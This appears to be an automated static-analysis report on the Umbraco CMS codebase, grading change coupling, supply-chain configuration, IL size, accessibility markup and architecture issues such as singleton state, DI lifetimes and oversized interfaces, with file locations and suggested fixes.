Detailed fixes: d34_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Whether files that change together actually belong together — pairs that repeatedly co-change in git history despite having no explicit code dependency, surfacing the hidden/logical coupling (and boundaries in the wrong place) a static scan can't see.
Method: Pairwise co-occurrence over the per-commit file sets in git history (production source only — tests and generated dropped): Degree-of-Coupling = shared ÷ min individual revisions, reported above noise floors (each file ≥10 revisions, ≥5 shared commits, ≥50% strength); sweeping commits excluded. Deterministic over fixed history.
Coverage: Population: PRODUCTION source files only — test and generated files are dropped before pairing, so a class co-changing with its own test (trivially ~100%) can't drown the real production↔production coupling. Pairs ranked by Degree-of-Coupling. A non-source file is never a coupling PARTICIPANT either: documentation, schemas, config and data files are dropped with the rest, so a code↔docs pair — a command and the reference page that restates it — is not reported however strongly the two co-change; nor is coupling that runs THROUGH a build step or config file.
Resolve the 5 Change coupling finding(s) in Change Coupling — start with input-member-group.element.ts, DocumentUrlAliasService.cs, dropzone-manager.class.ts. — One of this dimension's main actionable groups (5 warning-level).
Resolve the 2 Change coupling clique finding(s) in Change Coupling — start with DocumentCache.cs, block-grid-manager.context.ts. — One of this dimension's main actionable groups (2 warning-level).
Detailed fixes: d35_recommendation.md · top locations in Appendix A, every location in findings.md.
What it measures: Whether the build pipeline provides supply-chain integrity — generated provenance/attestation, signed artifacts (cosign/sigstore), an SBOM, and pinned build actions. Presence of the configuration, not a runtime guarantee.
Method: Supply-chain provenance/signing read deterministically from CI/build config (.github/workflows, .gitlab-ci.yml, azure-pipelines, Jenkinsfile, .circleci) + the release surface: four signals — generated provenance/attestation (SLSA/in-toto/actions-attest), artifact signing (cosign/sigstore/gitsign), an SBOM (syft/sbom-action/*.spdx.json/*.cdx.json), and SHA-pinned build actions — scored 10·present/denom. NotApplicable without a build pipeline. Detects configuration presence, not runtime enforcement.
+ 1 more group(s) — more in Appendix A; the complete list is findings.md.
What to do
Resolve the 1 Unpinned build actions finding(s) in Supply-chain Provenance & Signing. — One of this dimension's main actionable groups (1 warning-level).
Resolve the 1 PR-triggered workflow without a permissions block finding(s) in Supply-chain Provenance & Signing. — One of this dimension's main actionable groups (1 warning-level).
Resolve the 1 Workflow holding a long-lived secret is unscoped finding(s) in Supply-chain Provenance & Signing. — One of this dimension's main actionable groups (1 warning-level).
Detailed fixes: d36_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
D39 · IL Efficiency9.8 / 10Exemplary✓ Tool-verified
Method: IL instruction count per method, read from the BUILT first-party assemblies via Mono.Cecil (the target is compiled on a deep run); scored on the fraction of methods whose emitted IL body exceeds the size threshold. Sees compiler-generated bloat source can't; not-applicable when the target fails to build. Deterministic.
162 of 21413 first-party methods have an oversized IL body.
IL efficiency: 162 authored method(s) exceed the IL budgetsrc/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:133
✓ On the Gold path — maintain.
Detailed fixes: d39_recommendation.md · top locations in Appendix A, every location in findings.md.
Do you agree with this assessment?
Frontend & cross-cutting dimensions
R = React/JS · M = Maturity · P = Readiness.
AC1 · Text alternatives10.0 / 10Exemplary○ Nothing flagged
Other · Accessibility — Whether non-text content carries a text alternative — img/area/input[type=image] have alt, a meaningful svg has a title or aria-label, video has a captions track, and object/embed/canvas have a name or fallback content. Static markup readiness, not a WCAG conformance claim.
Method: Static markup-model scan: every img/area/input[type=image] checked for alt, svg[role=img] for a title/aria-label, video for a captions <track>. Components skipped, spreads suppressed. Deterministic, hard fact per element.
Coverage: Population: image/media elements — img, area, input[type=image], svg, video, object, embed, canvas — across the PARSED MARKUP files only (.html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx); components, hidden subtrees and dynamic-attribute elements are skipped. Markup built in script — tagged-template (html`…`) UIs and hyperscript DOM factories — is NOT read by any producer, so it contributes no element to this population; where such a frontend is present the card discloses it as an analyzer gap rather than scoring around it.
Do you agree with this assessment?
AC2 · Forms & labels6.5 / 10Adequate✓ Tool-verified
Other · Accessibility — Whether form controls have a programmatic label (an associated label, aria-label or aria-labelledby), buttons have text, links have an accessible name, a click handler on a plain element names the control it declares, fieldsets have a non-empty legend, known UI-library field components carry a label prop, and a placeholder isn't used as the only label. Static markup readiness, not a WCAG conformance claim.
Method: Static markup-model scan: inputs/selects/textareas checked for an associated label[for]/wrapping label/aria-label/aria-labelledby (per document), buttons for accessible text, fieldsets for a legend; placeholder-only labelling flagged. Deterministic, hard fact per control.
Coverage: Population: form controls, buttons, links, fieldsets and known UI-library field components in the PARSED MARKUP files only (.html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx); components, hidden subtrees and spread/dynamic-attribute elements are skipped, so a control whose label arrives through a spread or a runtime expression is deliberately not judged. Markup built in script — tagged-template (html`…`) UIs and hyperscript DOM factories — is not read at all.
This control has no associated label. Add a <label for> / wrapping <label> / aria-label / aria-labelledby so assistive tech can name it. (×3) — src/Umbraco.Core/EmbeddedResources/Snippets/EditProfile.cshtml:74, src/Umbraco.Core/EmbeddedResources/Snippets/Login.cshtml:34, src/Umbraco.Core/EmbeddedResources/Snippets/RegisterMember.cshtml:79
What to do
Give every control a programmatic label (a <label for> / wrapping <label> / aria-label) and every button text — a placeholder is not a label.
Do you agree with this assessment?
AC3 · Page structure5.0 / 10Weak✓ Tool-verified
Other · Accessibility — Whether pages declare a language (well-formed BCP-47) and a non-empty title, expose exactly one main landmark and a sane heading order with non-empty headings, keep zoom enabled, title their iframes, give data tables header cells, and avoid meta-refresh. Static markup readiness, not a WCAG conformance claim.
Method: Static markup-model scan: html lang, document <title>, a main landmark and heading order on full documents only, plus zoom-disabling viewports, untitled iframes and meta-refresh anywhere. Deterministic, per structural checkpoint.
Coverage: Population: the PARSED MARKUP documents (.html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx). The page-level checks — lang, title, single main landmark — fire ONCE PER FULL DOCUMENT (an <html> root) and never on a partial or component fragment, so a repo of fragments is assessed only on the per-element checks (heading order, table headers, iframe titles, meta-refresh, zoom). Markup built in script — tagged-template (html`…`) UIs and hyperscript DOM factories — is not read at all.
No <main> (or role="main") means no "skip to content" target and a weaker landmark map. Wrap the primary content in <main>. (×7) — src/Umbraco.Cms.StaticAssets/umbraco/UmbracoBackOffice/Index.cshtml:0, src/Umbraco.Cms.StaticAssets/umbraco/UmbracoLogin/Index.cshtml:0, src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/Maintenance.cshtml:8, …
user-scalable=no/0 or a maximum-scale below 2 stops low-vision users zooming to 200%. Remove the zoom restriction from the viewport meta. (×5) — src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/Maintenance.cshtml:12, src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NoNodes.cshtml:15, src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NotFound.cshtml:12, …
Skipping heading levels breaks the document outline assistive tech relies on. Don't jump levels — increase by at most one. (×3) — src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NoNodes.cshtml:31, src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/NotFound.cshtml:45, src/Umbraco.Core/EmbeddedResources/Snippets/EditProfile.cshtml:86
What to do
Declare <html lang>, a document <title> and a <main> landmark, keep headings in order, leave zoom enabled, title iframes and drop meta-refresh.
Other · Accessibility — Whether ARIA is used correctly — valid non-abstract roles, the ARIA state a role requires, valid (non-misspelled) aria-* attribute names, in-enum values for token-typed aria-* attributes, and no aria-hidden on (or wrapping) a focusable element. Static markup readiness, not a WCAG conformance claim.
Method: Static markup-model scan: role values checked against the WAI-ARIA role set (abstract/invalid flagged), required ARIA state for a role, and aria-hidden on a focusable element. Deterministic, role/attribute level.
Coverage: Population: elements in the PARSED MARKUP files (.html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx) that carry a role or an aria-* attribute; roles and token values are checked against the ARIA enums exhaustively within that set. An expression-valued (dynamic) role or aria-* value is skipped rather than guessed, and markup built in script — tagged-template (html`…`) UIs and hyperscript DOM factories — is not read at all.
"true"" is not a valid value for aria-invalid — allowed: true, false, grammar, spelling. (×3) — src/Umbraco.Cms.StaticAssets/umbraco/BasicAuthLogin/Login.cshtml:137, src/Umbraco.Cms.StaticAssets/umbraco/BasicAuthLogin/Login.cshtml:144, src/Umbraco.Cms.StaticAssets/umbraco/BasicAuthLogin/TwoFactor.cshtml:132
What to do
Use valid, non-abstract roles, supply the ARIA state each role requires, and never put aria-hidden on a focusable element.
Other · Accessibility — Whether focus outlines aren't removed without a replacement, motion respects prefers-reduced-motion, and literal CSS colour pairs meet contrast — PARTIAL: inline styles, in-repo <style> blocks, in-repo .css files, var() tokens, Tailwind neutral utilities and CSS-in-JS literals are read (hex/rgb/hsl/named), never computed/runtime/external-CDN colour. Static markup readiness, not a WCAG conformance claim.
Method: Static markup/CSS scan: inline outline:none/0, literal inline colour/background contrast against the 4.5:1 AA floor, and <style>-block animation without a prefers-reduced-motion guard. Deterministic but PARTIAL — only inline styles and in-repo CSS literals are visible.
Coverage: Population: styled elements in the PARSED MARKUP files (.html/.htm/.cshtml/.razor/.vue/.svelte/.jsx/.tsx), plus in-repo <style> blocks, in-repo .css files and CSS-in-JS literals. Colour contrast is computed from LITERAL colour pairs only (hex/rgb/hsl/named, including var() tokens and Tailwind neutral utilities) — computed, runtime-themed and external-CDN colour is never resolved, so this is a partial read of contrast by construction. Markup built in script — tagged-template (html`…`) UIs and hyperscript DOM factories — is not read at all.
This stylesheet animates but never checks prefers-reduced-motion, so motion-sensitive users can't opt out. Wrap motion in @media (prefers-reduced-motion: no-preference). — src/Umbraco.Cms.StaticAssets/wwwroot/App_Plugins/Umbraco.BlockGridEditor.DefaultCustomViews/umbBlockGridDemoImageBlock.html:1
What to do
Keep a visible focus style (don't remove the outline without a replacement), guard animation with prefers-reduced-motion, and raise low-contrast colour pairs to at least 4.5:1.
Do you agree with this assessment?
AC7 · A11y enforcement4.0 / 10Weak✓ Tool-verified
Other · Accessibility — Whether accessibility is ENFORCED in the toolchain — an accessibility checker configured over the markup (an a11y lint rule set, e.g. eslint-plugin-jsx-a11y or vuejs-accessibility where the project lints JavaScript) and an automated accessibility assertion wired into tests or CI (axe/pa11y/Lighthouse or an equivalent) — on the Documented→Verified→Prevented ladder.
Method: Repo config/CI scan: an accessibility checker configured over the markup (an a11y lint rule set such as eslint-plugin-jsx-a11y / vuejs-accessibility where JavaScript is linted) and an automated accessibility assertion in tests or CI (axe/pa11y/Lighthouse or equivalent), graded on the Documented→Verified→Prevented rungs. Deterministic, presence/rung detection.
Coverage: Population: the repository's own tooling configuration — lint config, test and CI files — NOT the markup. It is read for a configured accessibility checker and an automated accessibility assertion (axe/pa11y/Lighthouse, or a native-toolkit equivalent), and it credits an INVOCATION, never a mention: a licence filename, an import comment or a doc reference earns no rung. Enforcement configured entirely outside the repository leaves no evidence here and cannot be credited.
No accessibility enforcement found — no a11y linter (an accessibility check that can read your UI — no component framework was detected and your pages are rendered by server-side templates, which neither the JSX/Vue ESLint plugins nor the HTML-template linters can parse; run axe/pa11y over the rendered pages, or assert the accessibility invariants over that rendered HTML in the test suite you already have) and no axe/pa11y/Lighthouse in tests or CI. Start by running that check over your rendered pages in CI. What was searched, so you can tell an absence from a miss: the 46 markup file(s) this pass actually assessed, the linter configuration checked in beside them, and this repository's test and CI files — matched by name against the accessibility checkers this dimension carries. An audit run outside the repository, a hosted scanner, or a check whose name is not one of those, is not seen here.
What to do
Enforce accessibility in the toolchain: add an accessibility check that can read your UI — no component framework was detected and your pages are rendered by server-side templates, which neither the JSX/Vue ESLint plugins nor the HTML-template linters can parse; run axe/pa11y over the rendered pages, or assert the accessibility invariants over that rendered HTML in the test suite you already have, then assert with @axe-core/playwright in tests, then gate axe/pa11y/Lighthouse in CI.
Other · Architecture — Whether any singleton service captures a scoped/transient dependency — a silent lifetime/threading bug.
Method: Roslyn scan: DI registrations parsed from AddSingleton/Scoped/Transient; each singleton checked for captured shorter-lifetime dependencies. Exhaustive, deterministic.
`EmailSender` is registered as a SINGLETON but its constructor takes `IEmailSenderClient emailSenderClient`, which is registered as Transient. The singleton captures one instance of the transient dependency forever — defeating its lifetime (a per-request DbContext shared across all requests is a classic data-corruption/threading bug). Make the singleton resolve `IEmailSenderClient` per-use (inject `IServiceScopeFactory` or a factory func), or align the lifetimes. — src/Umbraco.Infrastructure/Mail/EmailSender.cs:22
What to do
Don't inject scoped/transient services into singletons; resolve them per-use via IServiceScopeFactory or a factory delegate, or align the lifetimes.
Other · Architecture — How the codebase splits by code ROLE — domain, application, infrastructure, test, generated. The significance map behind the knowledge/coupling weighting, and a DDD signal in its own right: a thin domain core under fat infrastructure is the anemic-domain smell, quantified. How each file's role is decided, because the split is only as good as that: a generated name or a build-output tree makes it Generated, a test project makes it Test, and otherwise the file's NAMESPACE and PATH words are matched against fixed vocabularies in a fixed ORDER — domain, then infrastructure, then application — so a file whose words hit two layers is counted under the earlier one. A production file matching none of them counts as application, so that share reads 'application or unclassified' rather than a measured application layer. Roles come from naming convention, never from what the code does.
Method: Roslyn line-count by code ROLE: every source file classified Domain/Application/Infrastructure/Test/Generated by namespace + path convention (the shared CodeRoleClassifier), then significant lines summed per role. Deterministic; the advisory score is the business-logic (domain+application) share of production code.
Coverage: Population: ALL source files, each bucketed into ONE of five roles (Domain/Application/Infrastructure/Test/Generated) by namespace + path convention — a file whose layer isn't named in the convention falls to Application (the neutral default), and the split is line-count, not semantic depth or business value.
What to do
The domain core is a small share of production code — check that business logic isn't leaking into the application/infrastructure layers (a thin domain is the anemic-domain smell).
Other · Architecture — Whether singleton services avoid mutable shared instance state that concurrent callers would race on.
Method: Roslyn scan: singleton field mutations unguarded by lock or Interlocked, per type; syntax-based guard detection. Deterministic, traceable per field.
`HtmlImageSourceParser` is a singleton (one shared instance) but mutates instance state outside any lock (_getMediaUrl; e.g. `_getMediaUrl` at line 104). — src/Umbraco.Core/Templates/HtmlImageSourceParser.cs:13
`UmbracoDatabaseFactory` is a singleton (one shared instance) but mutates instance state outside any lock (_dbProviderFactory, _upgrading; e.g. `_dbProviderFactory` at line 114). — src/Umbraco.Infrastructure/Persistence/UmbracoDatabaseFactory.cs:33
`RuntimeState` is a singleton (one shared instance) but mutates instance state outside any lock (Level, Reason, BootFailedException, _startupState, CurrentMigrationState, FinalMigrationState; e.g. `Level` at line 127). — src/Umbraco.Infrastructure/Runtime/RuntimeState.cs:20
`MigrationCoordinator` is a singleton (one shared instance) but mutates instance state outside any lock (_leaderClaim; e.g. `_leaderClaim` at line 136). — src/Umbraco.Infrastructure/Install/MigrationCoordinator.cs:16
`MigrationPlanExecutor` is a singleton (one shared instance) but mutates instance state outside any lock (_rebuildCache, _invalidateBackofficeUserAccess; e.g. `_rebuildCache` at line 154). — src/Umbraco.Infrastructure/Migrations/MigrationPlanExecutor.cs:42
`ContentIndexPopulator` is a singleton (one shared instance) but mutates instance state outside any lock (_publishedQuery; e.g. `_publishedQuery` at line 123). — src/Umbraco.Infrastructure/Examine/ContentIndexPopulator.cs:17
`FileSystems` is a singleton (one shared instance) but mutates instance state outside any lock (_stylesheetsFileSystem; e.g. `_stylesheetsFileSystem` at line 203). — src/Umbraco.Core/IO/FileSystems.cs:12
`SingleBlockListConfigurationCache` is a singleton (one shared instance) but mutates instance state outside any lock (_singleBlockListDataTypes; e.g. `_singleBlockListDataTypes` at line 44). — src/Umbraco.Infrastructure/Migrations/Upgrade/V_18_0_0/SingleBlockList/SingleBlockListConfigurationCache.cs:13
`ConfigurationEnabledDirectoryFactory` is a singleton (one shared instance) but mutates instance state outside any lock (_directoryFactory; e.g. `_directoryFactory` at line 36). — src/Umbraco.Examine.Lucene/ConfigurationEnabledDirectoryFactory.cs:17
`MemberPresentationFactory` is a singleton (one shared instance) but mutates instance state outside any lock (_clientCredentialsMemberKeys; e.g. `_clientCredentialsMemberKeys` at line 244). — src/Umbraco.Cms.Api.Management/Factories/MemberPresentationFactory.cs:20
`ServerEventAuthorizationService` is a singleton (one shared instance) but mutates instance state outside any lock (_groupedAuthorizersByEventSource; e.g. `_groupedAuthorizersByEventSource` at line 30). — src/Umbraco.Cms.Api.Management/ServerEvents/ServerEventAuthorizationService.cs:7
`DocumentCacheService` is a singleton (one shared instance) but mutates instance state outside any lock (_seedKeys; e.g. `_seedKeys` at line 71). — src/Umbraco.PublishedCache.HybridCache/Services/DocumentCacheService.cs:27
`MediaCacheService` is a singleton (one shared instance) but mutates instance state outside any lock (_seedKeys; e.g. `_seedKeys` at line 68). — src/Umbraco.PublishedCache.HybridCache/Services/MediaCacheService.cs:26
`ElementCacheService` is a singleton (one shared instance) but mutates instance state outside any lock (_seedKeys; e.g. `_seedKeys` at line 58). — src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs:19
`CompilationOptionsProvider` is a singleton (one shared instance) but mutates instance state outside any lock (_parseOptions, _compilationOptions, _emitOptions, _optionsInitialized, _emitPdb; e.g. `_parseOptions` at line 73). — src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/CompilationOptionsProvider.cs:19
`InMemoryAssemblyLoadContextManager` is a singleton (one shared instance) but mutates instance state outside any lock (_currentAssemblyLoadContext, _modelsAssemblyLocation; e.g. `_currentAssemblyLoadContext` at line 39). — src/Umbraco.Cms.DevelopmentMode.Backoffice/InMemoryAuto/InMemoryAssemblyLoadContextManager.cs:6
What to do
Keep singletons stateless or back their state with thread-safe types (Concurrent*/Immutable*); otherwise concurrent callers race.
Other · Architecture — Whether the project-reference graph is acyclic (cycles block independent build/deploy and signal eroding boundaries).
Method: Project reference cycles via elementary-DFS over real .csproj references, using the engine shared with D5/D7; cyclic versus acyclic. Exhaustive, deterministic.
Other · Architecture — Whether the codebase has a recognisable, scale-appropriate structure (a named architectural style, or modular enough for its size) rather than being an ad-hoc ball of mud.
Method: Roslyn plus csproj analysis: architecture style detection (DDD, clean, vertical-slice, CQRS) and structure fitness for repo size. Deterministic.
Other · Architecture — Whether interfaces stay focused rather than fat — the Interface-Segregation principle (SOLID 'I').
Method: Roslyn scan: public interface declared-member counts (accessors fold into their property/event); fat-interface threshold (over 15 declared members) flagged per type. Each finding also reports the distinct-OPERATION count — members counted by name, so an overload group counts once — which decides whether it states the caller-side ISP harm or the implementer-side burden of an overload set. Deterministic, type-level.
`IFileSystem` declares 20 members: `CanAddPhysical`, `GetDirectories`, `DeleteDirectory`, `DeleteDirectory`, `DirectoryExists`, `AddFile`, `AddFile`, `GetFiles`, `GetFiles`, `OpenFile`, `DeleteFile`, `FileExists`, `GetRelativePath`, `GetFullPath`, `GetUrl`, `GetLastModified`, `GetCreated`, `GetSize`, `AddFile`, `MoveFile`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 20 declarations carry 16 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 16 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/IO/IFileSystem.cs:6
`IUmbracoMapper` declares 16 members under just 3 distinct name(s): `Define`, `Define`, `Define`, `Define`, `Map`, `Map`, `Map`, `Map`, `Map`, `Map`, `Map`, `Map`, `Map`, `MapEnumerable`, `MapEnumerable`, `MapEnumerable`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 3 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Core/Mapping/IUmbracoMapper.cs:10
`IContentBase` declares 16 members under just 15 distinct name(s): `ContentTypeId`, `ContentType`, `WriterId`, `VersionId`, `CultureInfos`, `AvailableCultures`, `Properties`, `SetCultureName`, `GetCultureName`, `IsCultureAvailable`, `GetUpdateDate`, `HasProperty`, `GetValue`, `GetValue`, `SetValue`, `RemoveValue`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 15 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Core/Models/IContentBase.cs:12
`IContentTypeBase` declares 24 members: `Alias`, `Description`, `Icon`, `Thumbnail`, `AllowedAsRoot`, `ListView`, `IsElement`, `AllowedInLibrary`, `Variations`, `AllowedContentTypes`, `PropertyGroups`, `PropertyTypes`, `NoGroupPropertyTypes`, `SupportsVariation`, `SupportsPropertyVariation`, `RemovePropertyType`, `RemovePropertyGroup`, `PropertyTypeExists`, `AddPropertyType`, `AddPropertyType`, `AddPropertyGroup`, `MovePropertyType`, `ToSimple`, `DeepCloneWithResetIdentities`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 24 declarations carry 23 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 23 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Models/IContentTypeBase.cs:9
`IPropertyType` declares 17 members: `Name`, `Alias`, `Description`, `DataTypeId`, `DataTypeKey`, `PropertyEditorAlias`, `ValueStorageType`, `PropertyGroupId`, `Mandatory`, `LabelOnTop`, `SortOrder`, `ValidationRegExp`, `SupportsPublishing`, `Variations`, `MandatoryMessage`, `ValidationRegExpMessage`, `SupportsVariation`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Models/IPropertyType.cs:8
`IUser` declares 16 members: `UserState`, `Name`, `SessionTimeout`, `StartContentIds`, `StartMediaIds`, `StartElementIds`, `Language`, `InvitedDate`, `Groups`, `AllowedSections`, `ProfileData`, `Avatar`, `Kind`, `RemoveGroup`, `ClearGroups`, `AddGroup`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Models/Membership/IUser.cs:9
`IUserGroup` declares 19 members: `Alias`, `StartContentId`, `StartMediaId`, `StartElementId`, `Icon`, `Name`, `Description`, `HasAccessToAllLanguages`, `Permissions`, `GranularPermissions`, `AllowedSections`, `RemoveAllowedSection`, `AddAllowedSection`, `ClearAllowedSections`, `AllowedLanguages`, `RemoveAllowedLanguage`, `AddAllowedLanguage`, `ClearAllowedLanguages`, `UserCount`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Models/Membership/IUserGroup.cs:10
`IPublishedPropertyType` declares 17 members: `ContentType`, `DataType`, `Alias`, `EditorAlias`, `EditorUiAlias`, `IsUserProperty`, `Variations`, `CacheLevel`, `DeliveryApiCacheLevel`, `DeliveryApiCacheLevelForExpansion`, `ModelClrType`, `DeliveryApiModelClrType`, `ClrType`, `IsValue`, `ConvertSourceToInter`, `ConvertInterToObject`, `ConvertInterToDeliveryApiObject`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Models/PublishedContent/IPublishedPropertyType.cs:12
`IEntityRepository` declares 27 members under just 11 distinct name(s): `Get`, `Get`, `Get`, `Get`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetSiblings`, `GetTrashedSiblings`, `GetByQuery`, `GetByQuery`, `GetObjectType`, `GetObjectType`, `ReserveId`, `GetAllPaths`, `GetAllPaths`, `GetAllPaths`, `Exists`, `Exists`, `Exists`, `Exists`, `Exists`, `GetPagedResultsByQuery`, `GetPagedResultsByQuery`, `CountByQuery`, `CountByQuery`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 27 separate responsibilities: a caller binds to 11 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 27 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:11
`IUserRepository` declares 26 members: `GetCountByQuery`, `ExistsByUserName`, `Get`, `ExistsByLogin`, `GetAllInGroup`, `GetAllNotInGroup`, `GetPagedResultsByQuery`, `GetByUsername`, `GetForUpgradeByUsername`, `GetForUpgradeByEmail`, `GetForUpgrade`, `Get`, `GetProfile`, `GetProfile`, `GetUserStates`, `CreateLoginSession`, `ValidateLoginSession`, `ClearLoginSessions`, `ClearLoginSessions`, `ClearLoginSession`, `GetAllClientIds`, `GetClientIds`, `AddClientId`, `RemoveClientId`, `GetByClientId`, `InvalidateSessionsForRemovedProviders`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 26 declarations carry 23 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 23 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Persistence/Repositories/IUserRepository.cs:10
`IPublishedRequestBuilder` declares 24 members: `Uri`, `AbsolutePathDecoded`, `Domain`, `Culture`, `Segment`, `IsInternalRedirect`, `ResponseStatusCode`, `PublishedContent`, `Template`, `Build`, `SetDomain`, `SetCulture`, `SetSegment`, `SetPublishedContent`, `SetInternalRedirect`, `TrySetTemplateAsync`, `SetTemplate`, `SetRedirectPermanent`, `SetRedirect`, `SetResponseStatus`, `SetNoCacheHeader`, `SetCacheExtensions`, `SetHeaders`, `IgnorePublishedContentCollisions`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Routing/IPublishedRequestBuilder.cs:12
`IContentEditingService` declares 16 members under just 15 distinct name(s): `GetAsync`, `ValidateCreateAsync`, `ValidateUpdateAsync`, `CreateAsync`, `CreateAndPublishAsync`, `UpdateAsync`, `UpdateAndPublishAsync`, `MoveToRecycleBinAsync`, `DeleteFromRecycleBinAsync`, `MoveAsync`, `CopyAsync`, `SortAsync`, `SortByFieldAsync`, `DeleteAsync`, `RestoreAsync`, `RestoreAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 15 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface. — src/Umbraco.Core/Services/IContentEditingService.cs:10
`IContentService` declares 62 members: `GetBlueprintById`, `GetBlueprintById`, `GetBlueprintsForContentTypes`, `SaveBlueprint`, `MoveBlueprint`, `DeleteBlueprint`, `CreateBlueprintFromContent`, `DeleteBlueprintsOfType`, `DeleteBlueprintsOfTypes`, `GetById`, `GetByIds`, `GetByLevel`, `GetParent`, `GetParent`, `GetAncestors`, `GetAncestors`, `GetRootContent`, `GetContentForExpiration`, `GetContentForRelease`, `GetPagedContentInRecycleBin`, `GetPagedChildren`, `GetPagedChildren`, `GetPagedDescendants`, `GetPagedOfType`, `GetPagedOfTypes`, `Count`, `CountPublished`, `CountChildren`, `CountDescendants`, `HasChildren`, `GetContentSchedulesByIds`, `Save`, `Save`, `Delete`, `DeleteOfType`, `DeleteVersions`, `DeleteVersion`, `Move`, `Move`, `Copy`, and 22 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 62 declarations carry 50 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 50 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces. — src/Umbraco.Core/Services/IContentService.cs:11
